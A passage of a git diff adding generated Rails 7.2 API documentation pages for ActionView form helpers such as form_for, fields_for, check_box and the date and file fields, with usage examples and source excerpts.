+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_partial_path() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1709
+      def to_partial_path
+        self.class._to_partial_path
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + url_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#url_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.url_field :homepage %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + week_field(method, options = {}) + + +

+ + +
+

Wraps ActionView::Helpers::FormHelper#week_field for form builders:

+ +
<%= form_with model: @user do |f| %>
+  <%= f.week_field :birthday_week %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + weekday_select(method, options = {}, html_options = {}) + +

+ + +
+

Wraps ActionView::Helpers::FormOptionsHelper#weekday_select for form builders:

+ +
<%= form_for @user do |f| %>
+  <%= f.weekday_select :weekday, include_blank: true %>
+  <%= f.submit %>
+<% end %>
+
+ +

Please refer to the documentation of the base helper for details.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_options_helper.rb, line 896
+      def weekday_select(method, options = {}, html_options = {})
+        @template.weekday_select(@object_name, method, objectify_options(options), @default_html_options.merge(html_options))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionView/Helpers/FormHelper.html b/src/7.2/classes/ActionView/Helpers/FormHelper.html new file mode 100644 index 0000000000..95df15954f --- /dev/null +++ b/src/7.2/classes/ActionView/Helpers/FormHelper.html @@ -0,0 +1,2405 @@ +--- +title: ActionView::Helpers::FormHelper +layout: default +--- +
+ +
+
+ +
+ +

Action View Form Helpers

+ +

Form helpers are designed to make working with resources much easier compared to using vanilla HTML.

+ +

Typically, a form designed to create or update a resource reflects the identity of the resource in several ways: (i) the URL that the form is sent to (the form element’s action attribute) should result in a request being routed to the appropriate controller action (with the appropriate :id parameter in the case of an existing resource), (ii) input fields should be named in such a way that in the controller their values appear in the appropriate places within the params hash, and (iii) for an existing record, when the form is initially displayed, input fields corresponding to attributes of the resource should show the current values of those attributes.

+ +

In Rails, this is usually achieved by creating the form using form_for and a number of related helper methods. form_for generates an appropriate form tag and yields a form builder object that knows the model the form is about. Input fields are created by calling methods defined on the form builder, which means they are able to generate the appropriate names and default values corresponding to the model attributes, as well as convenient IDs, etc. Conventions in the generated field names allow controllers to receive form data nicely structured in params with no effort on your side.

+ +

For example, to create a new person you typically set up a new instance of Person in the PeopleController#new action, @person, and in the view template pass that object to form_for:

+ +
<%= form_for @person do |f| %>
+  <%= f.label :first_name %>:
+  <%= f.text_field :first_name %><br />
+
+  <%= f.label :last_name %>:
+  <%= f.text_field :last_name %><br />
+
+  <%= f.submit %>
+<% end %>
+
+ +

The HTML generated for this would be (modulus formatting):

+ +
<form action="/people" class="new_person" id="new_person" method="post">
+  <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+  <label for="person_first_name">First name</label>:
+  <input id="person_first_name" name="person[first_name]" type="text" /><br />
+
+  <label for="person_last_name">Last name</label>:
+  <input id="person_last_name" name="person[last_name]" type="text" /><br />
+
+  <input name="commit" type="submit" value="Create Person" />
+</form>
+
+ +

As you see, the HTML reflects knowledge about the resource in several spots, like the path the form should be submitted to, or the names of the input fields.

+ +

In particular, thanks to the conventions followed in the generated field names, the controller gets a nested hash params[:person] with the person attributes set in the form. That hash is ready to be passed to Person.new:

+ +
@person = Person.new(params[:person])
+if @person.save
+  # success
+else
+  # error handling
+end
+
+ +

Interestingly, the exact same view code in the previous example can be used to edit a person. If @person is an existing record with name β€œJohn Smith” and ID 256, the code above as is would yield instead:

+ +
<form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+  <input name="_method" type="hidden" value="patch" />
+  <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+  <label for="person_first_name">First name</label>:
+  <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+
+  <label for="person_last_name">Last name</label>:
+  <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+
+  <input name="commit" type="submit" value="Update Person" />
+</form>
+
+ +

Note that the endpoint, default values, and submit button label are tailored for @person. That works that way because the involved helpers know whether the resource is a new record or not, and generate HTML accordingly.

+ +

The controller would receive the form data again in params[:person], ready to be passed to Person#update:

+ +
if @person.update(params[:person])
+  # success
+else
+  # error handling
+end
+
+ +

That’s how you typically work with resources.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0") + +

+ + +
+

Returns a checkbox tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). This object must be an instance object (@object) and not a local object. It’s intended that method returns an integer and if that integer is above zero, then the checkbox is checked. Additional options on the input tag can be passed as a hash with options. The checked_value defaults to 1 while the default unchecked_value is set to 0 which is convenient for boolean values.

+ +

Options

+
  • +

    Any standard HTML attributes for the tag can be passed in, for example :class.

    +
  • +

    :checked - true or false forces the state of the checkbox to be checked or not.

    +
  • +

    :include_hidden - If set to false, the auxiliary hidden field described below will not be generated.

    +
+ +

Gotcha

+ +

The HTML specification says unchecked check boxes are not successful, and thus web browsers do not send them. Unfortunately this introduces a gotcha: if an Invoice model has a paid flag, and in the form that edits a paid invoice the user unchecks its check box, no paid parameter is sent. So, any mass-assignment idiom like

+ +
@invoice.update(params[:invoice])
+
+ +

wouldn’t update the flag.

+ +

To prevent this the helper generates an auxiliary hidden field before every check box. The hidden field has the same name and its attributes mimic an unchecked check box.

+ +

This way, the client either sends only the hidden field (representing the check box is unchecked), or both fields. Since the HTML specification says key/value pairs have to be sent in the same order they appear in the form, and parameters extraction gets the last occurrence of any repeated key in the query string, that works for ordinary forms.

+ +

Unfortunately that workaround does not work when the check box goes within an array-like parameter, as in

+ +
<%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
+  <%= form.check_box :paid %>
+  ...
+<% end %>
+
+ +

because parameter name repetition is precisely what Rails seeks to distinguish the elements of the array. For each item with a checked check box you get an extra ghost item with only that attribute, assigned to β€œ0”.

+ +

In that case it is preferable to either use check_box_tag or to use hashes instead of arrays.

+ +

Examples

+ +
# Let's say that @article.validated? is 1:
+check_box("article", "validated")
+# => <input name="article[validated]" type="hidden" value="0" />
+#    <input checked="checked" type="checkbox" id="article_validated" name="article[validated]" value="1" />
+
+# Let's say that @puppy.gooddog is "no":
+check_box("puppy", "gooddog", {}, "yes", "no")
+# => <input name="puppy[gooddog]" type="hidden" value="no" />
+#    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
+
+check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
+# => <input name="eula[accepted]" type="hidden" value="no" />
+#    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1345
+      def check_box(object_name, method, options = {}, checked_value = "1", unchecked_value = "0")
+        Tags::CheckBox.new(object_name, method, self, checked_value, unchecked_value, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + color_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œcolor”.

+ +
color_field("car", "color")
+# => <input id="car_color" name="car[color]" type="color" value="#000000" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1375
+      def color_field(object_name, method, options = {})
+        Tags::ColorField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + date_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œdate”.

+ +
date_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="date" />
+
+ +

The default value is generated by trying to call strftime with β€œ%Y-%m-%d” on the object’s value, which makes it behave as expected for instances of DateTime and ActiveSupport::TimeWithZone. You can still override that by passing the β€œvalue” option explicitly, e.g.

+ +
@user.born_on = Date.new(1984, 1, 27)
+date_field("user", "born_on", value: "1984-05-12")
+# => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
+
+ +

You can create values for the β€œmin” and β€œmax” attributes by passing instances of Date or Time to the options hash.

+ +
date_field("user", "born_on", min: Date.today)
+# => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+
+ +

Alternatively, you can pass a String formatted as an ISO8601 date as the values for β€œmin” and β€œmax.”

+ +
date_field("user", "born_on", min: "2014-05-20")
+# => <input id="user_born_on" name="user[born_on]" type="date" min="2014-05-20" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1439
+      def date_field(object_name, method, options = {})
+        Tags::DateField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œdatetime-local”.

+ +
datetime_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
+
+ +

The default value is generated by trying to call strftime with β€œ%Y-%m-%dT%T” on the object’s value, which makes it behave as expected for instances of DateTime and ActiveSupport::TimeWithZone.

+ +
@user.born_on = Date.new(1984, 1, 12)
+datetime_field("user", "born_on")
+# => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
+
+ +

You can create values for the β€œmin” and β€œmax” attributes by passing instances of Date or Time to the options hash.

+ +
datetime_field("user", "born_on", min: Date.today)
+# => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+
+ +

Alternatively, you can pass a String formatted as an ISO8601 datetime as the values for β€œmin” and β€œmax.”

+ +
datetime_field("user", "born_on", min: "2014-05-20T00:00:00")
+# => <input id="user_born_on" name="user[born_on]" type="datetime-local" min="2014-05-20T00:00:00.000" />
+
+ +

By default, provided datetimes will be formatted including seconds. You can render just the date, hour, and minute by passing include_seconds: false.

+ +
@user.born_on = Time.current
+datetime_field("user", "born_on", include_seconds: false)
+# => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="2014-05-20T14:35" />
+
+
+ + + +
+ Also aliased as: datetime_local_field +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1512
+      def datetime_field(object_name, method, options = {})
+        Tags::DatetimeLocalField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_local_field(object_name, method, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: datetime_field +
+ + + + +
+ +
+

+ + email_field(object_name, method, options = {}) + +

+ + +
+

Returns a text_field of type β€œemail”.

+ +
email_field("user", "address")
+# => <input id="user_address" name="user[address]" type="email" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1566
+      def email_field(object_name, method, options = {})
+        Tags::EmailField.new(object_name, method, self, options).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fields(scope = nil, model: nil, **options, &block) + +

+ + +
+

Scopes input fields with either an explicit scope or model. Like form_with does with :scope or :model, except it doesn’t output the form tags.

+ +
# Using a scope prefixes the input field names:
+<%= fields :comment do |fields| %>
+  <%= fields.text_field :body %>
+<% end %>
+# => <input type="text" name="comment[body]">
+
+# Using a model infers the scope and assigns field values:
+<%= fields model: Comment.new(body: "full bodied") do |fields| %>
+  <%= fields.text_field :body %>
+<% end %>
+# => <input type="text" name="comment[body]" value="full bodied">
+
+# Using +fields+ with +form_with+:
+<%= form_with model: @article do |form| %>
+  <%= form.text_field :title %>
+
+  <%= form.fields :comment do |fields| %>
+    <%= fields.text_field :body %>
+  <% end %>
+<% end %>
+
+ +

Much like form_with a FormBuilder instance associated with the scope or model is yielded, so any generated field names are prefixed with either the passed scope or the scope inferred from the :model.

+ +

Mixing with other form helpers

+ +

While form_with uses a FormBuilder object it’s possible to mix and match the stand-alone FormHelper methods and methods from FormTagHelper:

+ +
<%= fields model: @comment do |fields| %>
+  <%= fields.text_field :body %>
+
+  <%= text_area :commenter, :biography %>
+  <%= check_box_tag "comment[all_caps]", "1", @comment.commenter.hulk_mode? %>
+<% end %>
+
+ +

Same goes for the methods in FormOptionsHelper and DateHelper designed to work with an object as a base, like FormOptionsHelper#collection_select and DateHelper#datetime_select.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1079
+      def fields(scope = nil, model: nil, **options, &block)
+        options = { allow_method_names_outside_object: true, skip_default_ids: !form_with_generates_ids }.merge!(options)
+
+        if model
+          model   = _object_for_form_builder(model)
+          scope ||= model_name_from_record_or_class(model).param_key
+        end
+
+        builder = instantiate_builder(scope, model, options)
+        capture(builder, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fields_for(record_name, record_object = nil, options = {}, &block) + +

+ + +
+

Creates a scope around a specific model object like form_with, but doesn’t create the form tags themselves. This makes fields_for suitable for specifying additional model objects in the same form.

+ +

Although the usage and purpose of fields_for is similar to form_withβ€˜s, its method signature is slightly different. Like form_with, it yields a FormBuilder object associated with a particular model object to a block, and within the block allows methods to be called on the builder to generate fields associated with the model object. Fields may reflect a model object in two ways - how they are named (hence how submitted values appear within the params hash in the controller) and what default values are shown when the form fields are first displayed. In order for both of these features to be specified independently, both an object name (represented by either a symbol or string) and the object itself can be passed to the method separately -

+ +
<%= form_with model: @person do |person_form| %>
+  First name: <%= person_form.text_field :first_name %>
+  Last name : <%= person_form.text_field :last_name %>
+
+  <%= fields_for :permission, @person.permission do |permission_fields| %>
+    Admin?  : <%= permission_fields.check_box :admin %>
+  <% end %>
+
+  <%= person_form.submit %>
+<% end %>
+
+ +

In this case, the checkbox field will be represented by an HTML input tag with the name attribute permission[admin], and the submitted value will appear in the controller as params[:permission][:admin]. If @person.permission is an existing record with an attribute admin, the initial state of the checkbox when first displayed will reflect the value of @person.permission.admin.

+ +

Often this can be simplified by passing just the name of the model object to fields_for -

+ +
<%= fields_for :permission do |permission_fields| %>
+  Admin?: <%= permission_fields.check_box :admin %>
+<% end %>
+
+ +

…in which case, if :permission also happens to be the name of an instance variable @permission, the initial state of the input field will reflect the value of that variable’s attribute @permission.admin.

+ +

Alternatively, you can pass just the model object itself (if the first argument isn’t a string or symbol fields_for will realize that the name has been omitted) -

+ +
<%= fields_for @person.permission do |permission_fields| %>
+  Admin?: <%= permission_fields.check_box :admin %>
+<% end %>
+
+ +

and fields_for will derive the required name of the field from the class of the model object, e.g. if @person.permission, is of class Permission, the field will still be named permission[admin].

+ +

Note: This also works for the methods in FormOptionsHelper and DateHelper that are designed to work with an object as base, like FormOptionsHelper#collection_select and DateHelper#datetime_select.

+ +

Nested Attributes Examples

+ +

When the object belonging to the current scope has a nested attribute writer for a certain attribute, fields_for will yield a new scope for that attribute. This allows you to create forms that set or change the attributes of a parent object and its associations in one go.

+ +

Nested attribute writers are normal setter methods named after an association. The most common way of defining these writers is either with accepts_nested_attributes_for in a model definition or by defining a method with the proper name. For example: the attribute writer for the association :address is called address_attributes=.

+ +

Whether a one-to-one or one-to-many style form builder will be yielded depends on whether the normal reader method returns a single object or an array of objects.

+ +

One-to-one

+ +

Consider a Person class which returns a single Address from the address reader method and responds to the address_attributes= writer method:

+ +
class Person
+  def address
+    @address
+  end
+
+  def address_attributes=(attributes)
+    # Process the attributes hash
+  end
+end
+
+ +

This model can now be used with a nested fields_for, like so:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :address do |address_fields| %>
+    Street  : <%= address_fields.text_field :street %>
+    Zip code: <%= address_fields.text_field :zip_code %>
+  <% end %>
+  ...
+<% end %>
+
+ +

When address is already an association on a Person you can use accepts_nested_attributes_for to define the writer method for you:

+ +
class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+
+ +

If you want to destroy the associated model through the form, you have to enable it first using the :allow_destroy option for accepts_nested_attributes_for:

+ +
class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address, allow_destroy: true
+end
+
+ +

Now, when you use a form element with the _destroy parameter, with a value that evaluates to true, you will destroy the associated model (e.g. 1, β€˜1’, true, or β€˜true’):

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :address do |address_fields| %>
+    ...
+    Delete: <%= address_fields.check_box :_destroy %>
+  <% end %>
+  ...
+<% end %>
+
+ +

One-to-many

+ +

Consider a Person class which returns an array of Project instances from the projects reader method and responds to the projects_attributes= writer method:

+ +
class Person
+  def projects
+    [@project1, @project2]
+  end
+
+  def projects_attributes=(attributes)
+    # Process the attributes hash
+  end
+end
+
+ +

Note that the projects_attributes= writer method is in fact required for fields_for to correctly identify :projects as a collection, and the correct indices to be set in the form markup.

+ +

When projects is already an association on Person you can use accepts_nested_attributes_for to define the writer method for you:

+ +
class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+
+ +

This model can now be used with a nested fields_for. The block given to the nested fields_for call will be repeated for each instance in the collection:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    <% if project_fields.object.active? %>
+      Name: <%= project_fields.text_field :name %>
+    <% end %>
+  <% end %>
+  ...
+<% end %>
+
+ +

It’s also possible to specify the instance to be used:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <% @person.projects.each do |project| %>
+    <% if project.active? %>
+      <%= person_form.fields_for :projects, project do |project_fields| %>
+        Name: <%= project_fields.text_field :name %>
+      <% end %>
+    <% end %>
+  <% end %>
+  ...
+<% end %>
+
+ +

Or a collection to be used:

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
+    Name: <%= project_fields.text_field :name %>
+  <% end %>
+  ...
+<% end %>
+
+ +

If you want to destroy any of the associated models through the form, you have to enable it first using the :allow_destroy option for accepts_nested_attributes_for:

+ +
class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects, allow_destroy: true
+end
+
+ +

This will allow you to specify which models to destroy in the attributes hash by adding a form element for the _destroy parameter with a value that evaluates to true (e.g. 1, β€˜1’, true, or β€˜true’):

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    Delete: <%= project_fields.check_box :_destroy %>
+  <% end %>
+  ...
+<% end %>
+
+ +

When a collection is used you might want to know the index of each object in the array. For this purpose, the index method is available in the FormBuilder object.

+ +
<%= form_with model: @person do |person_form| %>
+  ...
+  <%= person_form.fields_for :projects do |project_fields| %>
+    Project #<%= project_fields.index %>
+    ...
+  <% end %>
+  ...
+<% end %>
+
+ +

Note that fields_for will automatically generate a hidden field to store the ID of the record if it responds to persisted?. There are circumstances where this hidden field is not needed and you can pass include_id: false to prevent fields_for from rendering it automatically.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1028
+      def fields_for(record_name, record_object = nil, options = {}, &block)
+        options = { model: record_object, allow_method_names_outside_object: false, skip_default_ids: false }.merge!(options)
+
+        fields(record_name, **options, &block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + file_field(object_name, method, options = {}) + +

+ + +
+

Returns a file upload input tag tailored for accessing a specified attribute (identified by method) on an object assigned to the template (identified by object). Additional options on the input tag can be passed as a hash with options. These options will be tagged onto the HTML as an HTML element attribute as in the example shown.

+ +

Using this method inside a form_with block will set the enclosing form’s encoding to multipart/form-data.

+ +

Options

+
  • +

    Creates standard HTML attributes for the tag.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :multiple - If set to true, *in most updated browsers* the user will be allowed to select multiple files.

    +
  • +

    :include_hidden - When multiple: true and include_hidden: true, the field will be prefixed with an <input type="hidden"> field with an empty value to support submitting an empty collection of files.

    +
  • +

    :accept - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.

    +
+ +

Examples

+ +
file_field(:user, :avatar)
+# => <input type="file" id="user_avatar" name="user[avatar]" />
+
+file_field(:article, :image, multiple: true)
+# => <input type="file" id="article_image" name="article[image][]" multiple="multiple" />
+
+file_field(:article, :attached, accept: 'text/html')
+# => <input accept="text/html" type="file" id="article_attached" name="article[attached]" />
+
+file_field(:article, :image, accept: 'image/png,image/gif,image/jpeg')
+# => <input type="file" id="article_image" name="article[image]" accept="image/png,image/gif,image/jpeg" />
+
+file_field(:attachment, :file, class: 'file_input')
+# => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_helper.rb, line 1247
+      def file_field(object_name, method, options = {})
+        options = { include_hidden: multiple_file_field_include_hidden }.merge!(options)
+
+        Tags::FileField.new(object_name, method, self, convert_direct_upload_option_to_url(options.dup)).render
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_for(record, options = {}, &block) + +

+ + +
+

Creates a form that allows the user to create or update the attributes of a specific model object.

+ +

The method can be used in several slightly different ways, depending on how much you wish to rely on Rails to infer automatically from the model how the form should be constructed. For a generic model object, a form can be created by passing form_for a string or symbol representing the object we are concerned with:

+ +
<%= form_for :person do |f| %>
+  First name: <%= f.text_field :first_name %><br />
+  Last name : <%= f.text_field :last_name %><br />
+  Biography : <%= f.text_area :biography %><br />
+  Admin?    : <%= f.check_box :admin %><br />
+  <%= f.submit %>
+<% end %>
+
+ +

The variable f yielded to the block is a FormBuilder object that incorporates the knowledge about the model object represented by :person passed to form_for. Methods defined on the FormBuilder are used to generate fields bound to this model. Thus, for example,

+ +
<%= f.text_field :first_name %>
+
+ +

will get expanded to

+ +
<%= text_field :person, :first_name %>
+
+ +

which results in an HTML <input> tag whose name attribute is person[first_name]. This means that when the form is submitted, the value entered by the user will be available in the controller as params[:person][:first_name].

+ +

For fields generated in this way using the FormBuilder, if :person also happens to be the name of an instance variable @person, the default value of the field shown when the form is initially displayed (e.g. in the situation where you are editing an existing record) will be the value of the corresponding attribute of @person.

+ +

The rightmost argument to form_for is an optional hash of options -

+
  • +

    :url - The URL the form is to be submitted to. This may be represented in the same way as values passed to url_for or link_to. So for example you may use a named route directly. When the model is represented by a string or symbol, as in the example above, if the :url option is not specified, by default the form will be sent back to the current URL (We will describe below an alternative resource-oriented usage of form_for in which the URL does not need to be specified explicitly).

    +
  • +

    :namespace - A namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.

    +
  • +

    :method - The method to use when submitting the form, usually either β€œget” or β€œpost”. If β€œpatch”, β€œput”, β€œdelete”, or another verb is used, a hidden input with name _method is added to simulate the verb over post.

    +
  • +

    :authenticity_token - Authenticity token to use in the form. Use only if you need to pass custom authenticity token string, or to not add authenticity_token field at all (by passing false). Remote forms may omit the embedded authenticity token by setting config.action_view.embed_authenticity_token_in_remote_forms = false. This is helpful when you’re fragment-caching the form. Remote forms get the authenticity token from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript.

    +
  • +

    :remote - If set to true, will allow the Unobtrusive JavaScript drivers to control the submit behavior.

    +
  • +

    :enforce_utf8 - If set to false, a hidden input with name utf8 is not output.

    +
  • +

    :html - Optional HTML attributes for the form tag.

    +
+ +

Also note that form_for doesn’t create an exclusive scope. It’s still possible to use both the stand-alone FormHelper methods and methods from FormTagHelper. For example:

+ +
<%= form_for :person do |f| %>
+  First name: <%= f.text_field :first_name %>
+  Last name : <%= f.text_field :last_name %>
+  Biography : <%= text_area :person, :biography %>
+  Admin?    : <%= check_box_tag "person[admin]", "1", @person.company.admin? %>
+  <%= f.submit %>
+<% end %>
+
+ +

This also works for the methods in FormOptionsHelper and DateHelper that are designed to work with an object as base, like FormOptionsHelper#collection_select and DateHelper#datetime_select.

+ +

form_for with a model object

+ +

In the examples above, the object to be created or edited was represented by a symbol passed to form_for, and we noted that a string can also be used equivalently. It is also possible, however, to pass a model object itself to form_for. For example, if @article is an existing record you wish to edit, you can create the form using

+ +
<%= form_for @article do |f| %>
+  ...
+<% end %>
+
+ +

This behaves in almost the same way as outlined previously, with a couple of small exceptions. First, the prefix used to name the input elements within the form (hence the key that denotes them in the params hash) is actually derived from the object’s class, e.g. params[:article] if the object’s class is Article. However, this can be overwritten using the :as option, e.g. -

+ +
<%= form_for(@person, as: :client) do |f| %>
+  ...
+<% end %>
+
+ +

would result in params[:client].

+ +

Secondly, the field values shown when the form is initially displayed are taken from the attributes of the object passed to form_for, regardless of whether the object is an instance variable. So, for example, if we had a local variable article representing an existing record,

+ +
<%= form_for article do |f| %>
+  ...
+<% end %>
+
+ +

would produce a form with fields whose initial state reflect the current values of the attributes of article.

+ +

Resource-oriented style

+ +

In the examples just shown, although not indicated explicitly, we still need to use the :url option in order to specify where the form is going to be sent. However, further simplification is possible if the record passed to form_for is a resource, i.e. it corresponds to a set of RESTful routes, e.g. defined using the resources method in config/routes.rb. In this case Rails will simply infer the appropriate URL from the record itself. For example,

+ +
<%= form_for @article do |f| %>
+  ...
+<% end %>
+
+ +

is then equivalent to something like:

+ +
<%= form_for @article, as: :article, url: article_path(@article), method: :patch, html: { class: "edit_article", id: "edit_article_45" } do |f| %>
+  ...
+<% end %>
+
+ +

And for a new record

+ +
<%= form_for(Article.new) do |f| %>
+  ...
+<% end %>
+
+ +

is equivalent to something like:

+ +
<%= form_for @article, as: :article, url: articles_path, html: { class: "new_article", id: "new_article" } do |f| %>
+  ...
+<% end %>
+
+ +

However you can still overwrite individual conventions, such as:

+ +
<%= form_for(@article, url: super_articles_path) do |f| %>
+  ...
+<% end %>
+
+ +

You can omit the action attribute by passing url: false:

+ +
<%= form_for(@article, url: false) do |f| %>
+  ...
+<% end %>
+
+ +

You can also set the answer format, like this:

+ +
<%= form_for(@article, format: :json) do |f| %>
+  ...
+<% end %>
+
+ +

For namespaced routes, like admin_article_url:

+ +
<%= form_for([:admin, @article]) do |f| %>
+ ...
+<% end %>
+
+ +

If your resource has associations defined, for example, you want to add comments to the document given that the routes are set correctly:

+ +
<%= form_for([@document, @comment]) do |f| %>
+ ...
+<% end %>
+
+ +

Where @document = Document.find(params[:id]) and @comment = Comment.new.

+ +

Setting the method

+ +

You can force the form to use the full array of HTTP verbs by setting

+ +
method: (:get|:post|:patch|:put|:delete)
+
+ +

in the options hash. If the verb is not GET or POST, which are natively supported by HTML forms, the form will be set to POST and a hidden input called _method will carry the intended verb for the server to interpret.

+ +

Unobtrusive JavaScript

+ +

Specifying:

+ +
remote: true
+
+ +

in the options hash creates a form that will allow the unobtrusive JavaScript drivers to modify its behavior. The form submission will work just like a regular submission as viewed by the receiving side (all elements available in params).

+ +

Example:

+ +
<%= form_for(@article, remote: true) do |f| %>
+  ...
+<% end %>
+
+ +

The HTML generated for this would be:

+ +
<form action='http://www.example.com' method='post' data-remote='true'>
+  <input name='_method' type='hidden' value='patch' />
+  ...
+</form>
+
+ +

Setting HTML options

+ +

You can set data attributes directly by passing in a data hash, but all other HTML options must be wrapped in the HTML key. Example:

+ +
<%= form_for(@article, data: { behavior: "autosave" }, html: { name: "go" }) do |f| %>
+  ...
+<% end %>
+
+ +

The HTML generated for this would be:

+ +
<form action='http://www.example.com' method='post' data-behavior='autosave' name='go'>
+  <input name='_method' type='hidden' value='patch' />
+  ...
+</form>
+
+ +

Removing hidden model id’s

+ +

The form_for method automatically includes the model id as a hidden field in the form. This is used to maintain the correlation between the form data and its associated model. Some ORM systems do not use IDs on nested models so in this case you want to be able to disable the hidden id.

+ +

In the following example the Article model has many Comments stored within it in a NoSQL database, thus there is no primary key for comments.

+ +

Example:

+ +
<%= form_for(@article) do |f| %>
+  <%= f.fields_for(:comments, include_id: false) do |cf| %>
+    ...
+  <% end %>
+<% end %>
+
+ +

Customized form builders

+ +

You can also build forms using a customized FormBuilder class. Subclass FormBuilder and override or define some more helpers, then use your custom builder. For example, let’s say you made a helper to automatically add labels to form inputs.

+ +
<%= form_for @person, url: { action: "create" }, builder: LabellingFormBuilder do |f| %>
+  <%= f.text_field :first_name %>
+  <%= f.text_field :last_name %>
+  <%= f.text_area :biography %>
+  <%= f.check_box :admin %>
+  <%= f.submit %>
+<% end %>
+
+ +

In this case, if you use this:

+ +
<%= render f %>
+
+ +

The rendered template is people/_labelling_form and the local variable referencing the form builder is called labelling_form.

+ +

The custom FormBuilder class is automatically merged with the options of a nested fields_for call, unless it’s explicitly set.

+ +

In many cases you will want to wrap the above in another helper, so you could do something like the following:

+ +
def labelled_form_for(record_or_name_or_array, *args, &block)
+  options = args.extract_options!
+  form_for(record_or_name_or_array, *(args << options.merge(builder: LabellingFormBuilder)), &block)
+end
+
+ +

If you don’t need to attach a form to a model instance, then check out FormTagHelper#form_tag.

+ +

Form to external resources

+ +

When you build forms to external resources sometimes you need to set an authenticity token or just render a form without it, for example when you submit data to a payment gateway number and types of fields could be limited.

+ +

To set an authenticity token you need to pass an :authenticity_token parameter

+ +
<%= form_for @invoice, url: external_url, authenticity_token: 'external_token' do |f| %>
+  ...
+<% end %>
+
+ +

If you don’t want to an authenticity token field be rendered at all just pass false:

